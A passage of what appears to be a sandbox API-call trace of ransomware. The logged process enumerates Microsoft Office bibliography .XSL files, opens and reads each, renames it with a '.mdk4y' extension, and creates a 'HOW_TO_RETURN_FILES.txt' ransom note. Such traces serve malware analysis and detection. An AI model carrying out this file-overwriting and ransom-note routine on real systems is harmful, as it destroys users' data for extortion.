dwFlags=0x0, lpWideCharStr="Sort", cchWideChar=4, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Sortor2XML.XSL", lpUsedDefaultChar=0x37df4c) returned 4 [0206.978] AreFileApisANSI () returned 1 [0206.978] GetACP () returned 0x4e4 [0206.978] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=61, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\h㡺瞈青瞣") returned 61 [0206.979] AreFileApisANSI () returned 1 [0206.979] GetACP () returned 0x4e4 [0206.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dec0) returned 1 [0206.979] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0206.979] AreFileApisANSI () returned 1 [0206.979] GetACP () returned 0x4e4 [0206.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dec0) returned 2 [0206.979] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0206.979] AreFileApisANSI () returned 1 [0206.979] GetACP () returned 0x4e4 [0206.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AUTHOR.XSL", cchWideChar=10, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="AUTHOR.XSLs", lpUsedDefaultChar=0x37dec0) returned 10 [0206.979] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\AUTHOR.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\sort\\author.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0206.981] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828221100000) returned 1 [0206.981] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x8b62, lpOverlapped=0x0) returned 1 [0206.982] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828221200000) returned 1 [0206.982] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828221200000) returned 1 [0206.983] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\AUTHOR.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\sort\\author.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\AUTHOR.XSL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\sort\\author.xsl.mdk4y")) returned 1 [0206.984] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0206.984] AreFileApisANSI () returned 1 [0206.984] GetACP () returned 0x4e4 [0206.984] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAG.XSL", cchWideChar=7, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="TAG.XSLXSL", lpUsedDefaultChar=0x37dec0) returned 7 [0206.985] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\TAG.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\sort\\tag.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0206.986] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828221600000) returned 1 [0206.986] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x8a54, lpOverlapped=0x0) returned 1 [0206.988] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828221700000) returned 1 [0206.988] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828221800000) returned 1 [0206.988] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\TAG.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\sort\\tag.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\TAG.XSL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\sort\\tag.xsl.mdk4y")) returned 1 [0206.990] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0206.990] AreFileApisANSI () returned 1 [0206.990] GetACP () returned 0x4e4 [0206.990] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TITLE.XSL", cchWideChar=9, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="TITLE.XSLL", lpUsedDefaultChar=0x37dec0) returned 9 [0206.990] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\TITLE.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\sort\\title.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0206.991] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828222100000) returned 1 [0206.991] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x8c3e, lpOverlapped=0x0) returned 1 [0207.003] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828223300000) returned 1 [0207.003] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828223300000) returned 1 [0207.004] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\TITLE.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\sort\\title.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\TITLE.XSL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\sort\\title.xsl.mdk4y")) returned 1 [0207.030] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0207.030] AreFileApisANSI () returned 1 [0207.030] GetACP () returned 0x4e4 [0207.030] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="YEAR.XSL", cchWideChar=8, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="YEAR.XSLL", lpUsedDefaultChar=0x37dec0) returned 8 [0207.030] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\YEAR.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\sort\\year.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0207.032] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828226200000) returned 1 [0207.032] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x8bee, lpOverlapped=0x0) returned 1 [0207.033] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828226300000) returned 1 [0207.033] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828226300000) returned 1 [0207.034] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\YEAR.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\sort\\year.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\YEAR.XSL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\sort\\year.xsl.mdk4y")) returned 1 [0207.036] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 0 [0207.036] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0207.037] AreFileApisANSI () returned 1 [0207.037] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b9f70, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 85 [0207.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\sort\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd8 [0207.038] GetFileType (hFile=0xd8) returned 0x1 [0207.039] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0207.039] AreFileApisANSI () returned 1 [0207.039] GetACP () returned 0x4e4 [0207.039] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Style", cchWideChar=5, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Styler2XML.XSL", lpUsedDefaultChar=0x37df4c) returned 5 [0207.039] AreFileApisANSI () returned 1 [0207.039] GetACP () returned 0x4e4 [0207.039] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=62, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\jʦ") returned 62 [0207.109] AreFileApisANSI () returned 1 [0207.109] GetACP () returned 0x4e4 [0207.109] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 1 [0207.109] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0207.109] AreFileApisANSI () returned 1 [0207.109] GetACP () returned 0x4e4 [0207.109] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 2 [0207.109] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0207.109] AreFileApisANSI () returned 1 [0207.109] GetACP () returned 0x4e4 [0207.112] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="APA.XSL", cchWideChar=7, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="APA.XSLxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 7 [0207.112] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\APA.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\apa.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0207.114] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828234400000) returned 1 [0207.114] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x5cd04, lpOverlapped=0x0) returned 1 [0207.175] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828240500000) returned 1 [0207.175] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828240500000) returned 1 [0207.180] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\APA.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\apa.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\APA.XSL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\apa.xsl.mdk4y")) returned 1 [0207.182] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0207.182] AreFileApisANSI () returned 1 [0207.182] GetACP () returned 0x4e4 [0207.182] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CHICAGO.XSL", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="CHICAGO.XSLefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 11 [0207.182] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\CHICAGO.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\chicago.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0207.184] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828241400000) returned 1 [0207.184] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x5282c, lpOverlapped=0x0) returned 1 [0207.251] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828248100000) returned 1 [0207.251] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828248100000) returned 1 [0207.256] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\CHICAGO.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\chicago.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\CHICAGO.XSL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\chicago.xsl.mdk4y")) returned 1 [0207.257] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0207.257] AreFileApisANSI () returned 1 [0207.257] GetACP () returned 0x4e4 [0207.257] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GB.XSL", cchWideChar=6, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="GB.XSLO.XSL", lpUsedDefaultChar=0x37dec0) returned 6 [0207.257] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\GB.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\gb.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0207.261] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828249100000) returned 1 [0207.261] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x40188, lpOverlapped=0x0) returned 1 [0207.319] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828254900000) returned 1 [0207.319] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828254900000) returned 1 [0207.323] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\GB.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\gb.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\GB.XSL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\gb.xsl.mdk4y")) returned 1 [0207.325] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0207.325] AreFileApisANSI () returned 1 [0207.325] GetACP () returned 0x4e4 [0207.325] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GostName.XSL", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="GostName.XSLfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 12 [0207.325] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\GostName.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\gostname.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0207.327] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828255700000) returned 1 [0207.327] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x3cd76, lpOverlapped=0x0) returned 1 [0207.380] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828261000000) returned 1 [0207.381] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828261100000) returned 1 [0207.384] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\GostName.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\gostname.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\GostName.XSL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\gostname.xsl.mdk4y")) returned 1 [0207.386] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0207.386] AreFileApisANSI () returned 1 [0207.386] GetACP () returned 0x4e4 [0207.386] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GostTitle.XSL", cchWideChar=13, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="GostTitle.XSLTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 13 [0207.386] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\GostTitle.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\gosttitle.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0207.388] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828261800000) returned 1 [0207.388] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x3b9d6, lpOverlapped=0x0) returned 1 [0207.405] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828263500000) returned 1 [0207.406] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828263600000) returned 1 [0207.408] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\GostTitle.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\gosttitle.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\GostTitle.XSL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\gosttitle.xsl.mdk4y")) returned 1 [0207.409] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0207.409] AreFileApisANSI () returned 1 [0207.410] GetACP () returned 0x4e4 [0207.410] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ISO690.XSL", cchWideChar=10, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ISO690.XSLXSL", lpUsedDefaultChar=0x37dec0) returned 10 [0207.410] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\ISO690.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\iso690.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0207.411] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828264300000) returned 1 [0207.413] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x4033d, lpOverlapped=0x0) returned 1 [0207.429] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828265900000) returned 1 [0207.429] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828265900000) returned 1 [0207.432] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\ISO690.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\iso690.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\ISO690.XSL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\iso690.xsl.mdk4y")) returned 1 [0207.435] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0207.435] AreFileApisANSI () returned 1 [0207.435] GetACP () returned 0x4e4 [0207.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ISO690Nmerical.XSL", cchWideChar=18, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ISO690Nmerical.XSL47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 18 [0207.435] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\ISO690Nmerical.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\iso690nmerical.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0207.437] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828266700000) returned 1 [0207.437] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x3ee6f, lpOverlapped=0x0) returned 1 [0207.457] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828268700000) returned 1 [0207.457] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828268700000) returned 1 [0207.460] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\ISO690Nmerical.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\iso690nmerical.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\ISO690Nmerical.XSL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\iso690nmerical.xsl.mdk4y")) returned 1 [0207.463] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0207.463] AreFileApisANSI () returned 1 [0207.463] GetACP () returned 0x4e4 [0207.463] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MLA.XSL", cchWideChar=7, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="MLA.XSLmerical.XSL", lpUsedDefaultChar=0x37dec0) returned 7 [0207.463] CreateFileA (lpFileName="C:\\Program Files\\Microsoft 